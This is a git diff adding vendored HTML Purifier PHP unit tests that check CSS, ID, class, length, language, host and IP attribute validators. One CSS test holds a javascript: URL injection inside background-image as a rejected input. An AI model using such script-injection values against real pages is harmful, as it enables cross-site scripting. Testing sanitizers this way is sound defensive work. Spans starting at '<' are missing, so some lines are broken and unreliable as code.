top;'); + $this->assertDef('color:#F00;'); + $this->assertDef('border-top-color:#F00;'); + $this->assertDef('border-color:#F00 #FF0;'); + $this->assertDef('border-top-width:thin;'); + $this->assertDef('border-top-width:12px;'); + $this->assertDef('border-width:5px 1px 4px 2px;'); + $this->assertDef('border-top-width:-12px;', false); + $this->assertDef('letter-spacing:normal;'); + $this->assertDef('letter-spacing:2px;'); + $this->assertDef('word-spacing:normal;'); + $this->assertDef('word-spacing:3em;'); + $this->assertDef('font-size:200%;'); + $this->assertDef('font-size:larger;'); + $this->assertDef('font-size:12pt;'); + $this->assertDef('line-height:2;'); + $this->assertDef('line-height:2em;'); + $this->assertDef('line-height:20%;'); + $this->assertDef('line-height:normal;'); + $this->assertDef('line-height:-20%;', false); + $this->assertDef('margin-left:5px;'); + $this->assertDef('margin-right:20%;'); + $this->assertDef('margin-top:auto;'); + $this->assertDef('margin:auto 5%;'); + $this->assertDef('padding-bottom:5px;'); + $this->assertDef('padding-top:20%;'); + $this->assertDef('padding:20% 10%;'); + $this->assertDef('padding-top:-20%;', false); + $this->assertDef('text-indent:3em;'); + $this->assertDef('text-indent:5%;'); + $this->assertDef('text-indent:-3em;'); + $this->assertDef('width:50%;'); + $this->assertDef('width:50px;'); + $this->assertDef('width:auto;'); + $this->assertDef('width:-50px;', false); + $this->assertDef('min-width:50%;'); + $this->assertDef('min-width:50px;'); + $this->assertDef('min-width:auto;', false); + $this->assertDef('min-width:initial;'); + $this->assertDef('min-width:inherit;'); + $this->assertDef('min-width:-50px;', false); + $this->assertDef('min-width:50ch;'); + $this->assertDef('min-width:50rem;'); + $this->assertDef('min-width:50vw;'); + $this->assertDef('min-width:-50vw;', false); + $this->assertDef('text-decoration:underline;'); + $this->assertDef('font-family:sans-serif;'); + $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;"); + $this->assertDef('font:12px serif;'); + $this->assertDef('border:1px solid #000;'); + $this->assertDef('border-bottom:2em double #FF00FA;'); + $this->assertDef('border-collapse:collapse;'); + $this->assertDef('border-collapse:separate;'); + $this->assertDef('caption-side:top;'); + $this->assertDef('vertical-align:middle;'); + $this->assertDef('vertical-align:12px;'); + $this->assertDef('vertical-align:50%;'); + $this->assertDef('table-layout:fixed;'); + $this->assertDef('list-style-image:url("nice.jpg");'); + $this->assertDef('list-style:disc url("nice.jpg") inside;'); + $this->assertDef('background-image:url("foo.jpg");'); + $this->assertDef('background-image:none;'); + $this->assertDef('background-repeat:repeat-y;'); + $this->assertDef('background-attachment:fixed;'); + $this->assertDef('background-position:left 90%;'); + $this->assertDef('background-size:50%;'); + $this->assertDef('background-size:cover;'); + $this->assertDef('background-size:200px;'); + $this->assertDef('border-spacing:1em;'); + $this->assertDef('border-spacing:1em 2em;'); + $this->assertDef('border-color: rgb(0, 0, 0) rgb(10,0,10)', 'border-color:rgb(0,0,0) rgb(10,0,10);'); + $this->assertDef('border: rgb(0, 0, 0)', 'border:rgb(0,0,0);'); + + // duplicates + $this->assertDef('text-align:right;text-align:left;', + 'text-align:left;'); + + // a few composites + $this->assertDef('font-variant:small-caps;font-weight:900;'); + $this->assertDef('float:right;text-align:right;'); + + // selective removal + $this->assertDef('text-transform:capitalize;destroy:it;', + 'text-transform:capitalize;'); + + // inherit works for everything + $this->assertDef('text-align:inherit;'); + + // bad props + $this->assertDef('nodice:foobar;', false); + $this->assertDef('position:absolute;', false); + $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false); + + // airy input + $this->assertDef(' font-weight : bold; color : #ff0000', + 'font-weight:bold;color:#ff0000;'); + + // case-insensitivity + $this->assertDef('FLOAT:LEFT;', 'float:left;'); + + // !important stripping + $this->assertDef('float:left !important;', 'float:left;'); + + } + + public function testProprietary() + { + $this->config->set('CSS.Proprietary', true); + + $this->assertDef('scrollbar-arrow-color:#ff0;'); + $this->assertDef('scrollbar-base-color:#ff6347;'); + $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); + $this->assertDef('scrollbar-face-color:#008080;'); + $this->assertDef('scrollbar-highlight-color:#ff69b4;'); + $this->assertDef('scrollbar-shadow-color:#f0f;'); + + $this->assertDef('-moz-opacity:0.2;'); + $this->assertDef('-khtml-opacity:0.2;'); + $this->assertDef('filter:alpha(opacity=20);'); + + $this->assertDef('border-top-left-radius:55pt 25pt;'); + + } + + public function testImportant() + { + $this->config->set('CSS.AllowImportant', true); + $this->assertDef('float:left !important;'); + } + + public function testTricky() + { + $this->config->set('CSS.AllowTricky', true); + $this->assertDef('display:none;'); + $this->assertDef('visibility:visible;'); + $this->assertDef('overflow:scroll;'); + $this->assertDef('opacity:0.2;'); + } + + public function testForbidden() + { + $this->config->set('CSS.ForbiddenProperties', 'float'); + $this->assertDef('float:left;', false); + $this->assertDef('text-align:right;'); + } + + public function testTrusted() + { + $this->config->set('CSS.Trusted', true); + $this->assertDef('position:relative;'); + $this->assertDef('left:2px;'); + $this->assertDef('right:100%;'); + $this->assertDef('top:auto;'); + $this->assertDef('z-index:-2;'); + } + + public function testAllowDuplicates() + { + $this->config->set('CSS.AllowDuplicates', true); + $this->assertDef('text-align:right;text-align:left;'); + $this->assertDef('text-align:right;text-align:left;text-align:right;'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php new file mode 100644 index 00000000..dda4dae1 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php @@ -0,0 +1,41 @@ +def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); + $this->assertDef('one'); + $this->assertDef('ONE', 'one'); + } + + public function testCaseSensitive() + { + $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); + $this->assertDef('one'); + $this->assertDef('ONE', false); + } + + public function testFixing() + { + $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); + $this->assertDef(' one ', 'one'); + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_Enum(); + + $def = $factory->make('foo,bar'); + $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); + $this->assertIdentical($def, $def2); + + $def = $factory->make('s:foo,BAR'); + $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); + $this->assertIdentical($def, $def2); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php new file mode 100644 index 00000000..8d05f03a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php @@ -0,0 +1,24 @@ +def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); + $this->assertDef('foo'); + $this->assertDef('', 'foo'); + $this->assertDef('bar', 'foo'); + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_HTML_Bool(); + $def = $factory->make('foo'); + $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); + $this->assertIdentical($def, $def2); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php new file mode 100644 index 00000000..8961f464 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php @@ -0,0 +1,53 @@ +def = new HTMLPurifier_AttrDef_HTML_Class(); + } + public function testAllowedClasses() + { + $this->config->set('Attr.AllowedClasses', array('foo')); + $this->assertDef('foo'); + $this->assertDef('bar', false); + $this->assertDef('foo bar', 'foo'); + } + public function testForbiddenClasses() + { + $this->config->set('Attr.ForbiddenClasses', array('bar')); + $this->assertDef('foo'); + $this->assertDef('bar', false); + $this->assertDef('foo bar', 'foo'); + } + public function testDefault() + { + $this->assertDef('valid'); + $this->assertDef('a0-_'); + $this->assertDef('-valid'); + $this->assertDef('_valid'); + $this->assertDef('double valid'); + + $this->assertDef('0stillvalid'); + $this->assertDef('-0'); + + // test conditional replacement + $this->assertDef('validassoc 0valid', 'validassoc 0valid'); + + // test whitespace leniency + $this->assertDef(" double\nvalid\r", 'double valid'); + + // test case sensitivity + $this->assertDef('VALID'); + + // test duplicate removal + $this->assertDef('valid valid', 'valid'); + } + public function testXHTML11Behavior() + { + $this->config->set('HTML.Doctype', 'XHTML 1.1'); + $this->assertDef('0invalid', false); + $this->assertDef('valid valid', 'valid'); + } +} diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php new file mode 100644 index 00000000..01c279a5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php @@ -0,0 +1,22 @@ +def = new HTMLPurifier_AttrDef_HTML_Color(); + $this->assertDef('', false); + $this->assertDef('foo', false); + $this->assertDef('43', false); + $this->assertDef('red', '#FF0000'); + $this->assertDef('RED', '#FF0000'); + $this->assertDef('#FF0000'); + $this->assertDef('#453443'); + $this->assertDef('453443', '#453443'); + $this->assertDef('#345', '#334455'); + $this->assertDef('120', '#112200'); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ContentEditableTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ContentEditableTest.php new file mode 100644 index 00000000..3aa6ec1e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ContentEditableTest.php @@ -0,0 +1,27 @@ +def = new HTMLPurifier_AttrDef_HTML_ContentEditable(); + } + + public function test() + { + $this->assertDef('', false); + $this->assertDef('true', false); + $this->assertDef('caret', false); + $this->assertDef('false'); + } + + public function testTrustedHtml() + { + $this->config->set('HTML.Trusted', true); + $this->assertDef(''); + $this->assertDef('true'); + $this->assertDef('false'); + $this->assertDef('caret', false); + } +} diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php new file mode 100644 index 00000000..4f9f9292 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php @@ -0,0 +1,31 @@ +def = new HTMLPurifier_AttrDef_HTML_FrameTarget(); + } + + public function testNoneAllowed() + { + $this->assertDef('', false); + $this->assertDef('foo', false); + $this->assertDef('_blank', false); + $this->assertDef('baz', false); + } + + public function test() + { + $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank'); + $this->assertDef('', false); + $this->assertDef('foo'); + $this->assertDef('_blank'); + $this->assertDef('baz', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php new file mode 100644 index 00000000..92f071a7 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php @@ -0,0 +1,121 @@ +context->register('IDAccumulator', $id_accumulator); + $this->config->set('Attr.EnableID', true); + $this->def = new HTMLPurifier_AttrDef_HTML_ID(); + + } + + public function test() + { + // valid ID names + $this->assertDef('alpha'); + $this->assertDef('al_ha'); + $this->assertDef('a0-:.'); + $this->assertDef('a'); + + // invalid ID names + $this->assertDef('assertDef('0123', false); + $this->assertDef('.asa', false); + + // test duplicate detection + $this->assertDef('once'); + $this->assertDef('once', false); + + // valid once whitespace stripped, but needs to be amended + $this->assertDef(' whee ', 'whee'); + + } + + public function testPrefix() + { + $this->config->set('Attr.IDPrefix', 'user_'); + + $this->assertDef('alpha', 'user_alpha'); + $this->assertDef('assertDef('once', 'user_once'); + $this->assertDef('once', false); + + // if already prefixed, leave alone + $this->assertDef('user_alas'); + $this->assertDef('user_user_alas'); // how to bypass + + } + + public function testTwoPrefixes() + { + $this->config->set('Attr.IDPrefix', 'user_'); + $this->config->set('Attr.IDPrefixLocal', 'story95_'); + + $this->assertDef('alpha', 'user_story95_alpha'); + $this->assertDef('assertDef('once', 'user_story95_once'); + $this->assertDef('once', false); + + $this->assertDef('user_story95_alas'); + $this->assertDef('user_alas', 'user_story95_user_alas'); // ! + } + + public function testLocalPrefixWithoutMainPrefix() + { + // no effect when IDPrefix isn't set + $this->config->set('Attr.IDPrefix', ''); + $this->config->set('Attr.IDPrefixLocal', 'story95_'); + $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. + '%Attr.IDPrefix is set'); + $this->assertDef('amherst'); + + } + + // reference functionality is disabled for now + public function disabled_testIDReference() + { + $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); + + $this->assertDef('good_id'); + $this->assertDef('good_id'); // duplicates okay + $this->assertDef('', false); + + $this->def = new HTMLPurifier_AttrDef_HTML_ID(); + + $this->assertDef('good_id'); + $this->assertDef('good_id', false); // duplicate now not okay + + $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); + + $this->assertDef('good_id'); // reference still okay + + } + + public function testRegexp() + { + $this->config->set('Attr.IDBlacklistRegexp', '/^g_/'); + + $this->assertDef('good_id'); + $this->assertDef('g_bad_id', false); + + } + + public function testRelaxed() + { + $this->config->set('Attr.ID.HTML5', true); + + $this->assertDef('123'); + $this->assertDef('x[1]'); + $this->assertDef('not ok', false); + $this->assertDef(' ', false); + $this->assertDef('', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php new file mode 100644 index 00000000..91f3de7e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php @@ -0,0 +1,33 @@ +def = new HTMLPurifier_AttrDef_HTML_Length(); + } + + public function test() + { + // pixel check + parent::test(); + + // percent check + $this->assertDef('25%'); + + // Firefox maintains percent, so will we + $this->assertDef('0%'); + + // 0% <= percent <= 100% + $this->assertDef('-15%', '0%'); + $this->assertDef('120%', '100%'); + + // fractional percents, apparently, aren't allowed + $this->assertDef('56.5%', '56%'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php new file mode 100644 index 00000000..ad30aa78 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php @@ -0,0 +1,21 @@ +def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); + $this->config->set('Attr.AllowedRel', array('nofollow', 'foo')); + + $this->assertDef('', false); + $this->assertDef('nofollow', true); + $this->assertDef('nofollow foo', true); + $this->assertDef('nofollow bar', 'nofollow'); + $this->assertDef('bar', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php new file mode 100644 index 00000000..d1b3f13f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_HTML_MultiLength(); + } + + public function test() + { + // length check + parent::test(); + + $this->assertDef('*'); + $this->assertDef('1*', '*'); + $this->assertDef('56*'); + + $this->assertDef('**', false); // plain old bad + + $this->assertDef('5.4*', '5*'); // no decimals + $this->assertDef('-3*', false); // no negatives + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php new file mode 100644 index 00000000..d466146e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php @@ -0,0 +1,36 @@ +def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); + } + + public function testDefault() + { + $this->assertDef('valid'); + $this->assertDef('a0-_'); + $this->assertDef('-valid'); + $this->assertDef('_valid'); + $this->assertDef('double valid'); + + $this->assertDef('0invalid', false); + $this->assertDef('-0', false); + + // test conditional replacement + $this->assertDef('validassoc 0invalid', 'validassoc'); + + // test whitespace leniency + $this->assertDef(" double\nvalid\r", 'double valid'); + + // test case sensitivity + $this->assertDef('VALID'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php new file mode 100644 index 00000000..c7f36772 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php @@ -0,0 +1,47 @@ +def = new HTMLPurifier_AttrDef_HTML_Pixels(); + } + + public function test() + { + $this->assertDef('1'); + $this->assertDef('0'); + + $this->assertDef('2px', '2'); // rm px suffix + + $this->assertDef('dfs', false); // totally invalid value + + // conceivably we could repair this value, but we won't for now + $this->assertDef('9in', false); + + // test trim + $this->assertDef(' 45 ', '45'); + + // no negatives + $this->assertDef('-2', '0'); + + // remove empty + $this->assertDef('', false); + + // round down + $this->assertDef('4.9', '4'); + + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_HTML_Pixels(); + $this->def = $factory->make('30'); + $this->assertDef('25'); + $this->assertDef('35', '30'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php new file mode 100644 index 00000000..2061a366 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php @@ -0,0 +1,62 @@ +def = new HTMLPurifier_AttrDef_Integer(); + + $this->assertDef('0'); + $this->assertDef('1'); + $this->assertDef('-1'); + $this->assertDef('-10'); + $this->assertDef('14'); + $this->assertDef('+24', '24'); + $this->assertDef(' 14 ', '14'); + $this->assertDef('-0', '0'); + + $this->assertDef('-1.4', false); + $this->assertDef('3.4', false); + $this->assertDef('asdf', false); // must not return zero + $this->assertDef('2in', false); // must not return zero + + } + + public function assertRange($negative, $zero, $positive) + { + $this->assertDef('-100', $negative); + $this->assertDef('-1', $negative); + $this->assertDef('0', $zero); + $this->assertDef('1', $positive); + $this->assertDef('42', $positive); + } + + public function testRange() + { + $this->def = new HTMLPurifier_AttrDef_Integer(false); + $this->assertRange(false, true, true); // non-negative + + $this->def = new HTMLPurifier_AttrDef_Integer(false, false); + $this->assertRange(false, false, true); // positive + + + // fringe cases + + $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); + $this->assertRange(false, false, false); // allow none + + $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); + $this->assertRange(true, false, false); // negative + + $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); + $this->assertRange(false, true, false); // zero + + $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); + $this->assertRange(true, true, false); // non-positive + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php new file mode 100644 index 00000000..06b9e6b8 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php @@ -0,0 +1,85 @@ +def = new HTMLPurifier_AttrDef_Lang(); + + // basic good uses + $this->assertDef('en'); + $this->assertDef('en-us'); + + $this->assertDef(' en ', 'en'); // trim + $this->assertDef('EN', 'en'); // case insensitivity + + // (thanks Eugen Pankratz for noticing the typos!) + $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci + + $this->assertDef('fr en', false); // multiple languages + $this->assertDef('%', false); // bad character + + // test overlong language according to syntax + $this->assertDef('thisistoolongsoitgetscut', false); + + // primary subtag rules + // I'm somewhat hesitant to allow x and i as primary language codes, + // because they usually are never used in real life. However, + // theoretically speaking, having them alone is permissable, so + // I'll be lenient. No XML parser is going to complain anyway. + $this->assertDef('x'); + $this->assertDef('i'); + // real world use-cases + $this->assertDef('x-klingon'); + $this->assertDef('i-mingo'); + // because the RFC only defines two and three letter primary codes, + // anything with a length of four or greater is invalid, despite + // the syntax stipulation of 1 to 8 characters. Because the RFC + // specifically states that this reservation is in order to allow + // for future versions to expand, the adoption of a new RFC will + // require these test cases to be rewritten, even if backwards- + // compatibility is largely retained (i.e. this is not forwards + // compatible) + $this->assertDef('four', false); + // for similar reasons, disallow any other one character language + $this->assertDef('f', false); + + // second subtag rules + // one letter subtags prohibited until revision. This is, however, + // less volatile than the restrictions on the primary subtags. + // Also note that this test-case tests fix-behavior: chop + // off subtags until you get a valid language code. + $this->assertDef('en-a', 'en'); + // however, x is a reserved single-letter subtag that is allowed + $this->assertDef('en-x', 'en-x'); + // 2-8 chars are permitted, but have special meaning that cannot + // be checked without maintaining country code lookup tables (for + // two characters) or special registration tables (for all above). + $this->assertDef('en-uk', true); + + // further subtag rules: only syntactic constraints + $this->assertDef('en-us-edison'); + $this->assertDef('en-us-toolonghaha', 'en-us'); + $this->assertDef('en-us-a-silly-long-one'); + + // rfc 3066 stipulates that if a three letter and a two letter code + // are available, the two letter one MUST be used. Without a language + // code lookup table, we cannot implement this functionality. + + // although the HTML protocol, technically speaking, allows you to + // omit language tags, this implicitly means that the parent element's + // language is the one applicable, which, in some cases, is incorrect. + // Thus, we allow und, only slightly defying the RFC's SHOULD NOT + // designation. + $this->assertDef('und'); + + // because attributes only allow one language, mul is allowed, complying + // with the RFC's SHOULD NOT designation. + $this->assertDef('mul'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php new file mode 100644 index 00000000..8938779a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php @@ -0,0 +1,37 @@ +with = new HTMLPurifier_AttrDefMock(); + $this->without = new HTMLPurifier_AttrDefMock(); + $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without); + } + + public function testWith() + { + $token = new HTMLPurifier_Token_Start('tag'); + $this->context->register('CurrentToken', $token); + $this->with->expectOnce('validate'); + $this->with->returns('validate', 'foo'); + $this->assertDef('bar', 'foo'); + } + + public function testWithout() + { + $token = new HTMLPurifier_Token_Start('other-tag'); + $this->context->register('CurrentToken', $token); + $this->without->expectOnce('validate'); + $this->without->returns('validate', 'foo'); + $this->assertDef('bar', 'foo'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php new file mode 100644 index 00000000..de1ae554 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php @@ -0,0 +1,17 @@ +def = new HTMLPurifier_AttrDef_Text(); + + $this->assertDef('This is spiffy text!'); + $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php new file mode 100644 index 00000000..919b7691 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php @@ -0,0 +1,14 @@ +def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php new file mode 100644 index 00000000..35c3f207 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php @@ -0,0 +1,32 @@ +assertDef('bob@example.com'); + $this->assertDef(' bob@example.com ', 'bob@example.com'); + $this->assertDef('bob.thebuilder@example.net'); + $this->assertDef('Bob_the_Builder-the-2nd@example.org'); + $this->assertDef('Bob%20the%20Builder@white-space.test'); + + // extended format, with real name + //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); + //$this->assertDef('Bob Builder '); + + // time to fail + $this->assertDef('bob', false); + $this->assertDef('bob@home@work', false); + $this->assertDef('@example.com', false); + $this->assertDef('bob@', false); + $this->assertDef('', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php new file mode 100644 index 00000000..561fcef3 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php @@ -0,0 +1,64 @@ +def = new HTMLPurifier_AttrDef_URI_Host(); + + $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 + $this->assertDef('124.15.6.89'); // IPv4 + $this->assertDef('www.google.com'); // reg-name + + // more domain name tests + $this->assertDef('test.'); + $this->assertDef('sub.test.'); + $this->assertDef('.test', false); + $this->assertDef('ff'); + $this->assertDef('1f'); // per RFC 1123 + // See also http://serverfault.com/questions/638260/is-it-valid-for-a-hostname-to-start-with-a-digit + $this->assertDef('-f', false); + $this->assertDef('f1'); + $this->assertDef('f-', false); + $this->assertDef('sub.ff'); + $this->assertDef('sub.1f'); // per RFC 1123 + $this->assertDef('sub.-f', false); + $this->assertDef('sub.f1'); + $this->assertDef('sub.f-', false); + $this->assertDef('ff.top'); + $this->assertDef('1f.top'); + $this->assertDef('-f.top', false); + $this->assertDef('ff.top'); + $this->assertDef('f1.top'); + $this->assertDef('f1_f2.ex.top', false); + $this->assertDef('f-.top', false); + $this->assertDef('1a'); + + $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", 'xn--fiq228c.com.cn', true); + + } + + public function testIDNA() + { + if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2'] && !function_exists("idn_to_ascii")) { + return false; + } + $this->config->set('Core.EnableIDNA', true); + $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn"); + $this->assertDef("faß.de", "xn--fa-hia.de"); + $this->assertDef("\xe2\x80\x85.com", false); // rejected + } + + function testAllowUnderscore() { + $this->config->set('Core.AllowHostnameUnderscore', true); + $this->assertDef("foo_bar.example.com"); + $this->assertDef("foo_.example.com", false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php new file mode 100644 index 00000000..4cb5128b --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php @@ -0,0 +1,25 @@ +def = new HTMLPurifier_AttrDef_URI_IPv4(); + + $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable + $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable + $this->assertDef('255.255.255.255'); // standard IPv4 + + $this->assertDef('300.0.0.0', false); // standard IPv4, out of range + $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed + + $this->assertDef('', false); // nothing + + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php new file mode 100644 index 00000000..f46785c1 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php @@ -0,0 +1,43 @@ +def = new HTMLPurifier_AttrDef_URI_IPv6(); + + $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full + $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full + $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full + $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full + $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed + $this->assertDef('FF01::101'); // multicast, compressed + + $this->assertDef('::1'); // loopback, compressed, non-routable + $this->assertDef('::'); // unspecified, compressed, non-routable + $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated + $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full + $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated + $this->assertDef('::FFFF:129.144.52.38'); // 